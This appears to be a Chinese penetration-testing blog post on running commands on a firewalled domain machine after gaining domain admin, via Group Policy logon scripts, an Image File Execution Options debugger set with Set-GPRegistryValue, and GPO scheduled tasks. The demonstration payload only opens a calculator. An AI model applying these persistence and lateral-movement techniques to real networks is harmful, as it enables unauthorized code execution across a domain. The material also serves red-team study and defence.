情景如下
在域中获取到了域管理员权限,其中一台机器上面存放绝密资料,但是该机器的防火墙是打开的,所有入站请求都被拦截,也就是说不能进行远程桌面连接、远程过程调用(RPC)等方式执行命令。
思路1- 启动脚本
在域控制器上配置组策略,用户下次登录时运行我们指定好的脚本
服务器管理器->功能->组策略管理->林: z3r0.com -> Default Domain Policy
![58d8e9cde1b9b33b2c5e55665560762f.png](https://i-blog.csdnimg.cn/blog_migrate/c3dbfe5abb9a39da90b395a2bca1f29c.jpeg)
右键点击编辑
用户配置->windows 设置 -> 登录
![428a362cc901d5d98c96aa5ab36bda31.png](https://i-blog.csdnimg.cn/blog_migrate/8c4d890ff34daaeafc97a8209e0acc7c.jpeg)
双击登录
将脚本放到USERScriptsLogon目录下
![3191adbcf6dd8525dd659f07cab8edeb.png](https://i-blog.csdnimg.cn/blog_migrate/083b4f3cb159b2c57f6c02f37067bc7a.jpeg)
这里的exploit.bat 只是弹出一个计算器
添加好后,坐等下次用户登录时触发
效果图
![05ce93840897e6646be9750128a58ae5.gif](https://i-blog.csdnimg.cn/blog_migrate/6ea973f16bbce74e93952d1416c64f3c.gif)
思路二、通过远程修改注册表方式
通过修改GptTmpl.inf文件,每隔两小时请求更新组策略的时候在域控制器上构造好GptTmpl.inf文件,在注册表中添加一个debug调试器,执行命令
详细参考
https://www.anquanke.com/post/id/85074
具体利用方法如下
在域控制器上执行
powershellImport-Module GroupPolicySet-GPRegistryValue -Name "Default Domain Policy" -ValueName "debugger" -Value "z3r0.comSYSVOLcalc.exe" -Type String -Key "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsexplorer.exe"
当用户运行资源管理器时会执行放在域控制器共享中的calc.exe
![00aa22e53598ba1e2656ce7e45216577.gif](https://i-blog.csdnimg.cn/blog_migrate/be99e573c39ebe491cca03d8dc1dace3.gif)
思路三、计划任务
前两种有一个缺陷就是需要用户交互,万一这台机器一直没有人上去操作岂不是一直获取不了权限?
不存在的,通过域组策略给它添加一个计划任务。
在域控制器上打开组策略编辑器
用户配置->首选项->控制面板设置->计划任务
![92e894350c465571ba827a026a04db30.png](https://i-blog.csdnimg.cn/blog_migrate/e7869231d649c6c88fcab80233d86a78.jpeg)
新建->计划任务
![3470f9135ef2f86afe4cc59f7d682a29.png](https://i-blog.csdnimg.cn/blog_migrate/17c8ef62ae1023605b6fad46cb6e5b51.jpeg)
等两小时域用户更新策略时,计划任务就会刷新出来
![7e8670a19b7540a215118037f12ddb6d.png](https://i-blog.csdnimg.cn/blog_migrate/1103985797e302597db38096eac925aa.jpeg)
可以看到刷新策略后计划任务添加上来了
![eb7a87ff827e1b831e97680c27ac93d0.png](https://i-blog.csdnimg.cn/blog_migrate/5d726377ee6405ade3ba8ccab7e2f7fb.jpeg)
![8ababf759a2446a6554b0635a41cb560.png](https://i-blog.csdnimg.cn/blog_migrate/a85874bdf4719fe31aba02e17b9e3ff1.jpeg)